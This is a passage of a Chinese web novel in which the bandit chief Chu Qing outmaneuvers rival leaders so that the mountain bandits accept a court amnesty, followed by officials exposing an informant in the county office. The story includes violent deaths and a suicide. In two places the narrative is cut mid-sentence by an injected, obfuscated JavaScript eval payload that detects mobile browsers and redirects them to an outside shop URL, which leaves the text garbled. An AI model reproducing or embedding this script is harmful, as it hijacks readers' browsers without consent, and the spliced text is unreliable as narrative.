不远处又涌来一堆人,站在院中的土匪们见状又是一阵窸窸窣窣的议论,齐威虎偏头朝熙攘方向瞥了一眼,脸上的笑意越深了,“燕当家早起无事,可我这儿却有一桩天大的好事正要说与你听。” 顺着齐威虎的视线望去,燕山鹰瞧见院中土匪喽啰们为来人退让出来的通道更宽阔了,他们纷纷噤了声,静静地目视着从自己面前走过的纤瘦却挺拔非常的少年。 初暒被关在山牢数日,面容衣衫虽有些狼狈,可那双凌厉双眸中并不见一丝颓丧,带她出来的楚六将其反手绑着,像是不放心,还在她前后左右围了一圈神色凝重的提刀喽啰,而被人押着前行、被两旁土匪目不转睛直视的初暒本人却仿若没有发觉落在自己身上的灼热探询目光,就只是目不斜视、昂首挺胸的一步步朝他们走来。 燕山鹰被初暒眼中的平静,扰的有些不安,道,“齐大当家的,你口中好事该不会就是趁着今日阴天,请初二当家的出来吹风吧。” “哈哈哈……” “燕当家可真会说笑。”齐威虎大笑三声,而后提醒说,“助我诛叛徒、复权势那日,你曾说我威虎寨空有热闹,没有血气,若我再削几个人头与你耍耍,你燕山鹰或许会更满意,今日这场热闹,就是专为让你满意才组的局。” 燕山鹰听他此言,心里倏地警觉起来,“你这是何意?” 齐威虎从怀中摸出一块灰色布片举在手中,得意高喊,“昨夜我收到朝廷文书,上曰,我威虎寨虽然粗暴鲁莽,却并不凶狠残忍,朝廷向来求贤若渴,不嫌弃英雄出身,故而愿招安威虎寨众多草莽好汉,用其凌云之志以报效中北朝廷,我齐威虎自从坐稳虔来山四寨之主就一心想带领众兄弟们吃香喝辣,在这山中逍遥快活,可收到此文书时又恍然觉得,我等顶天立地的男儿怎能一辈子都憋屈在这小小虔来山之中,兄弟们早听说慕峰青慕大将军被急调边境的信儿,我猜想定是那漠匪又开始在疆界滋扰生事,若与北漠战势一开,中北必然亟需不少作战人才,若寨中诸位兄弟受招安后能得朝廷重用,今世说不定真能在史册上留下自己姓名!我手中这份便是朝廷招安文书,不知院中有多少兄弟愿随我下山受朝廷招安,用本事为自个儿的余生拼一个锦绣前程!” 今晨天一亮,招安的消息就在前院悄悄蔓延开来,寨中的土匪喽啰们刚刚聚在一堆已经议论过一阵,因而此时他们听见大当家这番慷慨激昂的说辞并无人太过惊异,甚至因为齐威虎这些话底下不少人心中还泛起些激动与澎湃。 土匪喽啰们与身边兄弟面面相看,像是犹豫又像是有些无措,正当这些人不知如何是好时,忽听院中一隅有道声音骤然乍起—— “我愿!” 潘闯从楚六身后走出,颔首抱拳,一字一句,“我愿随大当家的下山受朝廷招安,用本事为自个儿的余生拼一个锦绣前程!” 此情此景,楚六忽然想起,初暒带自己夺豹子山时,好像就是潘闯这厮最先丢刀,跪求入伙的。 此人原先对初暒惟命是从,后来齐威虎夺初暒权后,又对他俯首帖耳,真是八面玲珑,又惯会站队的人精! 楚六不甘落后,亦上前附和,其他人见他俩领头,一迭连声的说自己也愿意随大当家下山受朝廷招安。 齐威虎看向满院愿意追随自己喽啰,心中怡悦极了,而就在他险些忘形之时,身旁之人猛地伸手去夺自己手中布片,所幸齐威虎眼疾手快将布片捏紧,侧身躲过,怒斥,“燕当家有话好说,这般抢夺是什么意思!” 燕山鹰这会儿才终于确认自己被人耍了,他忍着怒火说,“熊黑当黑鹰岭家时,手上曾沾染过不少无辜百姓鲜血,我不信朝廷不将这笔账算在虔来山仅存的威虎寨头上!你若对我没有隐瞒,为何不肯让我看清那上面写着什么!” “燕当家的有所不知,我们在虔来山中作恶多年,朝廷往年也常将招安二字挂在嘴边,可这回……”齐威虎偏头看向正在院心默不作声的初暒,冷笑,“我却看出了他们此次招安的诚意。” 燕山鹰没有接话,只听齐威虎又说,“威虎寨二当家初暒心狠手辣,虐杀豹子山当家赖豹、石灭本无大罪的刀客谷众土匪,手段及其阴毒残忍,故朝廷在文书上声明,若交出初暒项上人头,人头到时,则威虎寨等大小人员所犯罪恶尽行赦免!” 齐威虎一边煽动,一边用眼神示意久候在一旁的姜九近身,“我知燕当家欲得我威虎寨二当家宝座已久,故而今日特将手刃初暒的差事交由你办,还望燕当家的不要辜负我这番好意才是。” 不容燕山鹰拒绝。 姜九将早就准备好的砍刀捧在他的面前。 砍刀的刀刃锋利,刀身也带着水汽,似乎是专门为了今日才将其细心打磨的。 燕山鹰抬手握住刀柄同时,余光不经意间看见院中有不少喽啰亦不动声色的齐齐将自己的手搭在腰间佩刀上。 他自嘲笑了一声,而后提着刀向初暒走去。 齐威虎的心砰砰作响,他既迫不及待地想看到那个素来喜欢削砍别人人头的初暒被别人削了脑袋的场面,又幸灾乐祸被手下人夸得天上有地上无的初暒此时还不是只能如一条躺在砧板上的鱼肉一般任人宰割。 楚六神色凝重的站在初暒身侧,好像要负责的看守初暒直至她性命的最后一刻,而初暒对此漠不关心,她依然昂首安静地站在被土匪们包围起来的空地中。 楚六偏过头看向自己的二当家,脑袋里回想起她独自入威虎寨,率自己及一众土匪驰骋虔来、接连夺下三寨的往日点滴,那时候自己任劳埋头只听她差遣,竟不曾有一瞬想起行事如此沉稳、杀人和率众杀人如此老练的当家居然不过是个少年。 抛开初暒身上种种他猜不透的城府,楚六恍然觉得,若初暒今日真就这么窝囊的死在燕山鹰刀下,自己心中的不舍与惋惜恐怕要多过对她的恐惧。 众人凝视着缓缓挪动步子的燕山鹰,四周安静地只能听见山间的风声。 同样与楚六各怀心事的土匪喽啰们不忍一个有才能的当家命丧于此,有的低下头有的偏过眼,而就在他们所有人都短暂出神的这个瞬间,一直向聚英堂前院院心慢慢挪动脚步的燕山鹰却突然以迅雷不及掩耳之势猛然提刀回身,等山寨众人反应过来后才发现,本该出现镶在初暒脑袋的砍刀,此时竟架在齐威虎的脖子上。 “大当家!” 姜九距离齐威虎最近,也最为燕山鹰的莫名举动震惊,他拔出自己佩刀,怒斥道,“燕山鹰你这是做什么!” “下去!休要轻举妄动!”燕山鹰用刀刃抵在齐威虎喉头冷冷说,“否则,我就用这刀刃抹了齐威虎的脖子!” 燕山鹰掳掠齐威虎的速度太过迅疾且出人意料,被掳掠的齐 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“你不敢给我看,是因为朝廷招安确实需要你交出投名状,只不过……朝廷要的人头不是威虎寨二当家初暒,而是我燕山鹰吧。” 半晌不见齐威虎开口,燕山鹰又道,“初暒率威虎寨众,将虔来山所有土匪汇聚一处,省了山底剿匪官兵多少翻山越岭找人的功夫,朝廷感激还来不及怎会想要她的人头,反而,熊黑借黑鹰岭的名号无恶不作,手中沾了无数兴民城无辜百姓性命,他死了,原黑鹰岭大当家燕山鹰的人头才是朝廷想要的、能堵住天下悠悠之口的招安投名状,你没杀我,不过是想利用我先替你除了初暒而已,可笑你如此忌惮初暒,却不敢亲手杀她,可笑你觉得是自己利用初暒替你夺得三寨一统虔来,却不知你才是被她从头利用到脚的蠢货!” 燕山鹰的嘲讽激怒了齐威虎,他不可置信极了,“你说什么?!” “黑鹰岭中,真正当家的是熊黑而我只是个傀儡,你亦是如此,只不过,熊黑目中无人、毫不遮掩自己的野心,而初暒……”燕山鹰看向院中那个眸中终于晕出志在必得意味的笑意的少年,意味深长说,“善于蛰伏,懂得隐匿,与熊黑正是相反。” “燕大当家实在过奖。” 沉默许久的初暒一出声,缚着身后双手的绳索便被一人立即砍断。 潘闯挥刀劈砍之举行云流水,好像早在自己心中演练过无数回,楚六就站在潘闯身边,因而瞬间就明白潘闯是初暒的人,他怒而举刀同潘闯冷眼相对。 铮铮铮…… 冷刃接二连三冒着寒光出鞘。 一时间,聚在前院的土匪们一如数日前在聚英堂中那般陷入了剑拔弩张的对峙中。 齐威虎本以为自己已经将顺服初暒的同党全数捉拿,没成想零落在外的还有这么多,他一怒之下挣扎向前走了几步,“初暒!那日我故意激怒你,想引你犯错,而你将计就计在山牢中被关数日没有丝毫反抗,你不图钱不图权,入虔来山,进威虎寨究竟是为了什么!” “为了一个身份。” 初暒语气淡淡,仿佛在陈述一个再寻常不过的事实,“我入虔来山,进威虎寨就是为给自己寻一个土匪山寨中当家的身份,以便用此名声顺理成章的受了朝廷招安。” 轰…… 往日种种推心置腹之言不过是初暒有意欺瞒,而他却以为是自己运筹帷幄掌控着全局,齐威虎心中一根立柱轰然倒塌,燕山鹰说他可笑,他还不服,直到亲耳从初暒口中听见‘招安’二字,他才明白自己果真是被她从头利用到脚的蠢货。 “哈哈哈……” 齐威虎绝望崩溃的神情逗乐了燕山鹰,他不管齐威虎被自己手中砍刀划破直流血的喉咙,只看向初暒,质问,“我被你手下绑在柴火房时,你特意不封我口,让我问出齐威虎即将赶来黑鹰岭掌权的消息引我挑拨你二人,而后顺势被齐威虎关进山牢,留我们在外自作聪明与剿匪官兵们作对,你……早知兴民府衙中有我的人!” 初暒:“你果然聪慧。” 被一个毛头小子夸赞聪慧并不让人心生喜悦,燕山鹰脸上的笑意越发苦涩,“熊黑与兴民府衙奸细用作通信的风筝被齐威虎截获,那绑在风筝上的可能是任何东西,却绝对不会是招安文书,兴民县衙中……是否也有你的人?” 唔…… 我的人? 初暒想起那个人人为之退避不及的病弱王爷,顿了顿才点头,不情不愿说—— “勉强有一个罢。” 102. 补丁 县衙中有初暒的人?! 齐威虎想起初暒进威虎寨第二日,楚六与她争吵时口不择言说的那句‘这小子心狠手辣,身上又揣了这么多嫌犯通缉令,万一是朝廷派来的细作,要将我们一网打尽可如何是好!’ 她一不图钱,二不图权,费了这么大劲儿将虔来山里的土匪收在一处,只是为了接受朝廷招安。 可招安…… 不正是‘一网打尽’的另一种说法么…… 并非是县衙中有初暒的人,而是初暒真是朝廷派进虔来山的奸细! 齐威虎数年前失手伤人,被朝廷追捕时无奈上山落草为寇,他凭借知人善任、心思敏锐的本事创建威虎寨,引得无数好汉慕名入伙,自此在虔来山中威风多年,可万没有想到自己马失前蹄,都活到这个岁数了竟然被一个臭小子戏耍的团团转。 往日种种与初暒的推心置腹之言皆成笑话,方才慷慨激昂劝说众多土匪手下随自己一同受了朝廷招安的嘴脸也化成滔天耻辱,齐威虎怒火中烧,病狂丧心般暴躁大喝,“你这杂种竟敢诓骗于我,招安?去他妈的朝廷招安!所有人听令,谁最先取下初暒人头,我便将自己所有私藏金银全部奉上,我只要她死……唔……” 燕山鹰握刀的右手用力一抽,砍刀刀刃便利落的划过齐威虎的颈部咽喉。 斜带着一个黑色眼罩的高大汉子怔愣片刻后,‘咚’的一声仰头重重躺倒。 齐威虎的声音戛然而止,洒落在地的除了喷涌热血,还有他暴怒且惊诧的圆睁怒目。 “大当家的!” 姜九与楚六慌张齐呼,在没得到齐威虎哪怕一句回应后,怒气冲冲地就要去取燕山鹰性命报仇。 燕山鹰一边后退,一边挥舞着手中大刀阻拦他们靠近,“不要过来!” 齐威虎的鲜血好似溅进了燕山鹰的眼睛里,将他失神的瞳孔也点染的十分鲜红,他发疯似的上下左右胡乱劈砍,任谁都无法近身。 楚六举着手中兵器与他亦步亦趋,狠狠说,“我大当家的真心待你,可你却恩将仇报!今日我不亲手杀你,誓不为人!” 燕山鹰看着楚六的目光怜悯至极,“我被关在柴火房时曾听值守喽啰说,你被马皓重伤之后第二日夜,齐威虎就赶赴到黑鹰岭执掌四寨之权,你将他奉为山寨当家,可他在你沉睡不醒之时忙着笼络应酬手下新收服的喽啰,连问都没有问过你一句,漠视兄弟安危,是为不义!” 此话不假,楚六咬着牙无话可说。 “你醒来后,将偷听到的我与初暒的对话告诉了齐威虎,他不确认你所言真假,转身就去见我,而我稍加挑拨,齐威虎便很快与初暒撕破了脸,我两次替他摆脱官兵纠缠,提过数次初暒此人不可久留,可齐威虎始终不肯杀她,那时我才明白齐威虎并不会真的信我,他仍然想留着初暒的头脑作为自己的一条后路,用人却疑,疑人却用,是为愚蠢!” “再者,你与姜九和齐威虎都不识字,如何知晓风筝上绑着的是招安文书?” 燕山鹰的质问让姜九有些心虚,他握刀的手慢慢泄了力气。 “昨夜无故暴毙的喽啰原是我黑鹰岭土匪,我晓得他认识几个大字,想必是齐威虎担心他泄露朝廷要我人头才肯免了威虎寨大小土匪的性命,怕我走投无路坏你们大事因而下手杀了他吧。” 楚六挪开与他相对的视线,算是默认。 “残害手下兄弟性命,是为丧心病狂!燕山鹰冷哼一声,咒骂,“你们真是瞎了眼了,才愿誓死追随这么一个如此不义、如此愚蠢、如此丧心病狂之人!” 燕山鹰一一细数齐威虎的过错,同时将满院土匪骂的狗血淋头。 姜九不服,与他争辩,“我等识人不清,可到底是为了忠义才愿意舍命追随心中敬佩之人,而你!在被夺寨之后苟且偷生,不一样也投靠了被你说的如此不堪的齐威虎,我们是瞎了眼,那你又是什么!” “忠义?” 燕山鹰听见这两个字忽然笑了笑,呢喃,“你说的对,愿意舍命追随心中敬佩之人,是为忠义。” 姜九被他脸上坦然笑意震住一瞬,又听他沉声道,“齐威虎已死!初暒才是虔来山唯一的四寨之主,如果我是诸位,我愿意随她下山接受朝廷招安,今后再不必在山中怯懦躲藏,而要在天地间坦坦荡荡做个愿意舍命追随心中敬佩之士的忠义之人!” 他言毕,将目光投向逐渐被追随她的手下簇拥起来的初暒,笑道,“你曾说,对你有用的是我的脑袋,并非我的脑子,我那时还不明白你这话是什么意思。” 这话不对劲儿。 初暒的神经倏地紧绷起来,她连忙向前跑去,大喝,“快拦住他!” 初暒此举突然,众人有些猝不及防,最先反应过来的楚六还不知要拦什么,一抬眼就瞧见方才还在对着别人胡乱挥刀的燕山鹰此刻竟然将砍刀抵在了自己的脖子上。 刀刃带血,依然锋利。 燕山鹰举着刀,像是没有察觉喉头已经被刀刃划出血,他看着向自己奔来的初暒,意气昂扬说,“齐威虎已死,初暒才是虔来山唯一的四寨之主!我燕山鹰虽贪生怕死,亦不惧苟且偷生,可我此生只愿屈居于她一人之下!” 热血扑面而来,初暒不得不闭眼侧首避过。 她已尽全力奔跑,可还是没有拦住一个死意已决的人。 楚六紧跟初暒身后,看到燕山鹰毫不犹豫地用刀划破自己的喉咙,他倒地不过片时,整个人就浸在了自己的血泊中。 燕山鹰张了张嘴,瞪着逐渐失神的瞳孔最后无声呢喃一句,“唯…一人之下……” 短短一个上午,山寨里就折了两位当家。 汇聚在前院的土匪们群龙无首,正预备一哄而散时,又见潘闯从人群中挤出来,小跑到初暒身边,恭敬道,“二当家的,被齐威虎关在山牢里的伍二及一众兄弟小的已经带过来了,此处便是威虎寨全部人手,我等今后该何去何从,请二当家的明示!” 初暒俯身从齐威虎怀中摸出招安文书,仔细浏览过上书内容后,站在聚英堂石阶上与众人高声道,“我进虔来山落草只为朝廷招安,若院中兄弟有与我志同道合者,随!若有不同道者及先前受过朝廷招安却重又逃跑落草为寇者,去!无论是随是去,盼诸位兄弟慎重考虑,我初暒绝不妄加干涉!” 她的话给了这些只知道听令行事的土匪喽啰们最大的自由,可这些听令听惯了的人早忘了能自由的为自己的将来做决定是什么感觉。 他们面面相觑、交头接耳,不知该如何是好,但是其中却有一人不断从身旁高大汉子们中间费力钻过,直至走到聚英堂石阶下仰视初暒,以少年人独有的干净声音,坚定说,“我师傅一生治病救人、坦坦荡荡,我敬他如师,视他如父,因而不愿辱没师门一辈子都在虔来山中怯懦躲藏,除此之外,你于我有恩,既然你要接受朝廷招安,宋运甘愿随你同去。” 初暒走下石阶,一眼就看到在不远处向自己微微点头的伍二,于是轻轻拍了拍宋运的肩膀,没有再多说什么。 众人见小运气都愿受了招安,又觉得燕山鹰说的也确实有道理。 毕竟,齐威虎和燕山鹰都死了,唯一有本事号令虔来山四寨土匪的初暒又要走,他们这帮人都是犯了事没法子才进山做土匪的,要不想接受朝廷招安,今后就只能在山中躲躲藏藏的过日子,没有身负才能的当家主事,被山下虎视眈眈的官兵们逮住恐怕也是早晚的事,还不如像燕山鹰死前说的那样,随初暒受招安,在天地间坦坦荡荡做个愿意舍命追随心中敬佩之士的忠义之人来的自在。 楚六拧着眉头听完喽啰们们议论,心中仍旧难以抉择,他怼了怼同样纠结的姜九,问,“你怎么想?” 姜九支支吾吾好一会儿,才答,“我觉得兄弟们说的有理,追随二当家这些时日我确实也瞧出她的与众不同,跟随此人,应当能为自己谋出一个好前程,可…我方才听她说‘若有不同道者及先前受过朝廷招安却重又逃跑落草为寇者,去’,要不楚六哥,招安这事小弟我还是莫去凑热闹了……” “这是什么话,既然你也觉得跟着初暒能成事,何不与哥哥们换个环境接着做同生共死的异姓兄弟!”楚六说罢不容姜九开口,揽着他的肩膀大声向众人宣告,“我们也愿追随二当家的同去!” 初暒闻言,看向楚六轻轻点头,神色与对待旁人别无二致。 众人看她对曾经与自己拔刀相向的楚六与姜九并无丝毫秋后算账的意思,都暗自感叹:跟随这么一个年少有为,心胸宽广的当家谋前程还有什么好犹豫的。 于是全寨所有土匪喽啰纷纷抱拳许诺:我等愿随初二当家下山受朝廷招安。 眼看尘埃落定,初暒命伍二与潘闯、楚六汇总清点山寨中兵器钱粮的数量,命姜九与小运气登记记录此次受招安土匪的名录,并决议等收到朝廷正式招安文书后再向其递交受招书。 看初暒再没有其他指示,有人提醒她说,朝廷要燕山鹰人头才肯免去威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888151|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎寨大小土匪往日罪过,要不要尽快砍下他的脑袋仔细储存,以免他被尸身上的蛆虫毁了相貌,反被朝廷拿住把柄为难。 大家都觉得这话没毛病,可初暒却说,“威虎寨中除我之外只有两名匪首,可那文书上偏偏只点出燕山鹰大名,这摆明是书写招安文书那人在耍心眼,想逼齐威虎与燕山鹰各生异心罢了,若我们真依照他们所书乖乖交出燕山鹰人头作受招投名状,将来被整编后,定会被那帮官兵嘲讽拿捏,对峙两方要想保持平衡,必须有来有往,若一方只顾退让,另一方再不得寸进尺不是傻么。朝廷既然想招安,就需得使土匪无后顾之忧,我们做土匪的肯现身受招本就是最大的诚意,哪还需要用投名状证明。” 原来如此。 喽啰们感叹,齐威虎不假思索地上了当,转瞬就丢了自己一条命,朝廷中人还真是狡猾的可怕。 楚六心有余悸,说,“论心眼,我们比不过他们,若招安后被故意针对可如何是好。” “出身不同,被针对或许不可避免,但我觉得,只要你本人得行端行、有货真价实的本事与才能,且无论何时无论何地,都坚定地知道自己最终想要实现的抱负是什么,哪有功夫去惦记旁人的针对与小觑。” 初暒想了想,又对众人说,“各行有各行的规矩,诸位既然选择丢弃土匪身份接受朝廷招安,今后便要收起自己蛮横习气,踏踏实实地走光明道,做磊落人,切莫再以土匪做派行事,我衷心盼望各位兄弟不惧旁人非议,修身自强、不懈其志,前程似锦。” 这些话乍听之下像是说教,可众土匪却觉得初暒所言字字珠玑,句句入心。 她并不似其他当家只将土匪喽啰们口头当兄弟,办事当手下,而是真正苦口婆心告诉他们这些早被世人避之不及的人,何为正大光明、如何行事磊落。 她…… 甚至还想到了他们的今后。 内心感动无法溢于言表,寨中所有土匪不约而同地抱拳颔首,齐声高呼—— “初二当家教诲,我等谨记在心!绝不辜负!” 青山依旧,白云悠悠。 这阵震天呼喊袅袅回荡在虔来山谷。 至此,滋扰中北百姓多年的匪患在初暒的雷霆手段,菩萨心肠中终于化为乌有。 虔来山安定了,可是兴民城中又开始风起云涌。 起先是因为白冲率千余官兵在与虔来山土匪争斗中首次大捷,兴民县令郑万金欣喜若狂自觉升官有望,便于城中大设宴席以庆贺官兵与自己功绩,却没想到乐极生悲,甭说升官,他那项上人头能不能保住都难说了。 开席那日,灶上加了餐,菜肴虽不及屋中郑县令主座那桌丰盛,但官兵们的脸上仍是笑逐颜开。 白冲在宴席中酒醉,酒气上头时见郑县令亲信兴民县衙书吏吕贾仍旧穿一身打了两三个同色补丁的灰色长衫,他心中不忍一个兢兢业业的书吏这般贫寒,便拽着吕贾非要给人家换上自己的衣裳,吕贾想必没有与一个酩酊大醉的男子当众拉扯的经验,不仅不从而且连连后退,白冲敬佩此人如此廉洁清正,竟对知州独子的示好都不放在眼里,一时激动,就想捏住吕贾双臂与他说些心里话,谁晓得他的双手才刚搭在吕贾肩膀,大拇指就直接塞进了他胸前打了补丁的布片里。 吕贾大惊失色,却奈何没有几两力气,白冲紧紧按住吕贾贴近了才发现他长衫上的补丁上方是开口,他指尖往里探探,又好似还摸着了一个东西。 呦呵。 原来这是个做成补丁模样的口袋。 白冲觉得此法甚妙,酒醒了三分之一。 他有些好奇,刚想问吕书吏里面装着什么,就看到吕贾的额头在初冬夜里满是冷汗,他觉得此人古怪,酒又醒了三分之一。 白冲发力制服住蓄意挣扎的吕贾,将食指也塞进他补丁口袋,轻轻一捏,便从中抽出一张折叠规整的布片。 屋内灯光昏暗,他又喝了酒,能迷迷糊糊看到布片上有字,可那双瞳孔却死活聚不了神。 与白冲同桌而坐的王羌曹见状,将杯中酒一饮而尽后,起身扯过他手中布片,念道,“这布片上写说‘县衙内鬼已被幽王全数揪出,此信到时,君须率黑鹰岭众人速速撤离,今日过后,吾与君再无瓜葛,括弧,酬金已拖欠数日,盼君速结!’” 王羌曹言毕,白冲被吓得灵台立时清明。 他惊诧地瞪着不知该作何表情,只是看着自己疯狂摇头的吕贾。 酒意全无。 103. 铺子 白冲少爷在庆功宴席上亲手抓住了向虔来山土匪通风报信的内鬼。 此人竟是兴民县衙书吏吕贾。 王羌曹当场念出吕贾通匪信件,与他们同桌的郑县令听他念完立即吓得从座上头朝下翻倒在桌底,至今昏迷不醒。 他们几人都坐在屋中内室,因而这动静还不曾传到外头官兵耳中。 无恩立于州府内堂,将县衙若干情况一句一句报给白向福听,末了,才问,“县衙里出了这档子事,幽王殿下不放心此处人手,便命暗卫将其带走仔细看管,但……这兴民城毕竟是白大人您的地盘,所以殿下特差遣属下来问问您,兴民县衙通匪书吏吕贾该如何处置?” 儿子剿匪大获全胜才刚立功,宴席上活捉奸细又立一功。 手下府衙有书吏是通匪奸细,管事县令因此受惊还一晕不起。 这些消息若分开一桩一桩发生,一件一件传到白向福耳中或许他还勉强能应付,可此时他听完无恩闻讯,从书案前起身时眼前一黑,险些也同那郑万金一般被惊吓的头朝下翻倒在桌底。 “哎哎!白大人您当心!”无恩连忙去接整个人颤颤巍巍、抬手虚扶着自己脑门的白向福,关切问,“您还能撑得住么,用不用去唤大夫给您瞧瞧?” “不必不必,老夫坐下缓一缓便无事。” 白向福重又被无恩搀扶坐下,痛心疾首道,“老夫万没有想到自己手下书吏中竟有如此胆大包天、吃里扒外之人,难怪朝廷与土匪争斗那么多年仍是徒劳无功,老夫心里…真是惭愧啊……” “知人知面不知心,白大人您为政清明、为官清廉,该是那些不正不廉的污吏辜负了您的器重才是。” 到底是贵人身边的亲信,说起话来就是让人心里舒坦。 “终究是老夫识人不察,才害得兴民城百姓这些年吃尽了苦头。”白向福重重吐了口气,愧疚说,“幽王殿下本就身体抱恙,兴民城县衙这些腌臜事还劳他这般费心,只不过……此事甚重,老夫亦难以做出定夺,须得待稍定思绪后再与幽王共议良策,吕贾暂时就交由暗卫看管罢。” “是,无恩还另有他务,便先行告退,白大人您保重身子。” 无恩了然,抱拳告辞。 他走出州府内堂不远,忽听见身后传来一阵急促脚步,回头一看果真见是白冲慌张从外面跑来,一钻进内堂就紧闭上了堂门。 比预想来的慢了些。 无恩遗憾地撇了撇嘴,翻墙离开。 “砰!” 白冲反手关住堂门,累的气喘吁吁,可怜白向福刚平复的心绪这会儿又被这声响动惊得浑身打了个激灵。 “逆子!你是真不怕把你老爹吓出个好歹啊!” 白向福捂着胸口怒其不争,白冲却好似早就习惯他这副口吻,平复了心神,皱眉道,“爹不好了,兴民县衙书吏吕贾他是虔来山土匪奸细,就是有他通风报信,那帮土匪才能在兴民城嚣张这么多年!您手下人犯此重罪还被我当众亲手抓住,这事要是传出去,您这官还保不保得住啊!” 白冲满脸通红,一身酒气,白向福冷声呵斥,“你饮酒的时候怎么不晓得忧心你爹的官还保不保得住!早跟你说过你身份特殊,言行举止都需的谨慎小心,可你非是不听,喝多了乱发酒疯,被人当枪使了都不知道!” “您这话是什么意思?” 看他一脸天真,白向福用力拍了一下座椅扶手‘噌’的站起,丝毫没有方才眼前一黑、颤颤巍巍的模样。 “慕峰青在时,他不放心你,因而总让你跟在王羌曹身边办事,王羌曹那人圆猾,办事却十分稳重,你跟着他倒也没出过什么错处,可自从幽王接手虔来山剿匪事务后,他便开始使你二人分开行事,你为人鲁莽冲动,好大喜功,可那回他居然只让你一人领兵上山埋伏土匪,我觉得不安,于是差人私下打探,这才得知,在你领兵上山之前、官兵们等候开战命令期间,幽王就已经派王羌曹与无恩将那些与土匪通风报信的小兵全部逮捕,并利用反水官兵放出虚假出兵时间,因而你那一仗才能打的如此顺利。” “那些!”白冲张大了嘴,惊诧,“您是说除了吕贾,兴民城州府军还有土匪奸细!” 白向福默默点头,他回想起打探幽王行踪的手下曾回禀说—— “幽王到兴民城第二日便下令集兵剿匪,可官兵们等了好几天仍迟迟不见有开战命令,有人坐不住便时常聚在一起猜测议论,这帮人不聚还好,一聚竟又让他们察觉一件更加古怪的事情。” “他们发现,等待开战命令这些天曾不断有同僚失踪过。” “这些人总是会秘密消失几个时辰,而后又会忽然出现,且失踪后归来的人,个个毫发无损,神色却都慌张至极,怎么问也不开口。” “小的跟踪王羌曹与无恩时发现,那些失踪又出现的官兵均被他们带进县衙议事内堂去了,小人四下寻领队官兵打听才探到原来幽王放出剿匪消息后,便派王羌曹暗自盯住衙门中各级官员,一旦发现有去通风报信的就悄悄记下,回来后全部秘密捉拿,这些人幽王一个也没有杀,就只是坐在堂上捧着无恩呈上去的书册,一字一句读念那些官兵的家宅住址与父母亲人,他有时读累了,还会满眼温和说‘你的情况均已登记在册,希望你的父母双亲、子女甥侄保重身体,本王会经常差人去探望’之类。” 外头都传幽王跋扈自恣、心狠手毒,白向福听完手下回报才明白那传闻不假,可那位殿下除了以上种种,他还工于心计,城府亦深不可测。 白向福默了许久,才说,“幽王软硬兼施,于是那些官兵成了双面间谍,你得意自己入虔来山一举团灭了一队土匪,却不知那不过是幽王丢了一个大便宜让你捡罢了。” 白冲懵了,他想起与王羌曹翻遍兴民县衙吏房那夜他们找出的六十八个人名单,终于明白那里面可能就有向土匪报信的官兵名册。 与幽王初见那日,王羌曹早就明白他话中语意,可笑他那时还嘲讽王羌曹对幽王殷勤太过。 “幽王既然能在出兵前悄无声息地揪出那些传信小兵,那为何吕贾……” 白冲刚想问为何吕贾却被自己当众抓出来,转念才恍然父亲那句‘被人当枪使了都不知道!’ “与吕贾初次见面那日,我注意到他长衫补丁,王羌曹在场也看见了,他料定我看不过吕贾贫寒,酒后必定会生出事端。”白冲焦躁的在堂内来回打转,“我如此信任王羌曹,而他却这样利用我!可是他为什么要这么做呢,难不成是幽王让他这么干的?肯定是了,他说过也要我好好跟着幽王办差的,可是爹,幽王在兴民县衙搞了这么多动作,捏住您这么大的把柄却并没有大肆宣扬,他究竟在图谋什么呢?” “我原先也不知他来兴民城想图谋什么,可是在你短时间内连立两功之后……”白向福望着踱步在屋里停不下来的儿子,平静说,“爹知道了。” 白冲没有听清,问,“您说什么?” 白向福摇摇头,扶额朝他摆手,“没什么,郑万金受惊昏迷不醒,吕贾也消失不见,这些事若被州府军或是衙役察觉异常定会传出闲话,你且去外头多转转,定一定人心。” “是。” 目送儿子离去,白向福卸了力气,靠坐在椅背上重重叹了口气。 无恩从府衙翻墙出来,就立即与等候在外的王羌曹等人直奔兴民城,一行人对照着手中名册将城中稍微沾边的屋舍商铺查探了个遍,仍是一无所获。 “吕贾常去的地方就这些吗,你再看看是否还有漏的。” 王羌曹接过无恩手中名册嘀咕,“我盯守吕贾时就只见他在这几处转悠么,还能有哪里呢……” “医馆、药房、书舍还有他家那座小破屋……”无恩取来兴民城坊市图,逐一圈出这几个地方在图中的位置后,纳闷说,“四处都距离县衙不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老汉摊位与点心铺紧挨,无恩笑笑凑过去与他卖乖,“老伯,这一口甄的生意做得这么好,也不知他这小铺还收不收伙计,要是有幸能在此处做活儿,年底定然能存他个百八十文钱呢!” 无恩人长得高,模样也英俊,平日冷着脸时像小白无常,一笑起来又跟个还在念书的娃娃似的,老汉见他面相亲人,也同他笑说,“你这样的男儿在这小铺子当伙计岂不是屈才,这铺子门关着你瞧不着,那里头小着呢,除过一间小后厨和几个货架,人立在里面连转身都费劲,那老板也是个小家子的,生意做的这样好也不说租个大些的铺面,嗨呀,不过老汉觉得人家大概也不缺钱,不然也不会每日早早就将点心卖光关店歇着去了。” 无恩:“那店铺老板您可曾见过?” “老板不曾见过,伙计倒是闲聊过几句。”老汉朝无恩摆摆手,越说越有劲儿,“这点心铺刚开起来的时候,只听说那伙计曾在安南庄一个姓初的师傅跟前学的做点心手艺,学成后就自个跑来兴民城了,但他穷,只有手艺没有钱,于是就将自己卖给这家空铺子的老板了,那老板人不错,愿意让他在此居住,还应许他将每日买点心的收入留作己用。” 无恩佯作羡慕,“还有这样的好事!” “确实是好事,但就是他这生意太好,可那店铺老板却不许他再多招人,故而每日只能自己做自己卖,一整日下来人忙得脚不沾地,这不,刚一闭店就蒙头睡去了。” “为何不让招人呢?” 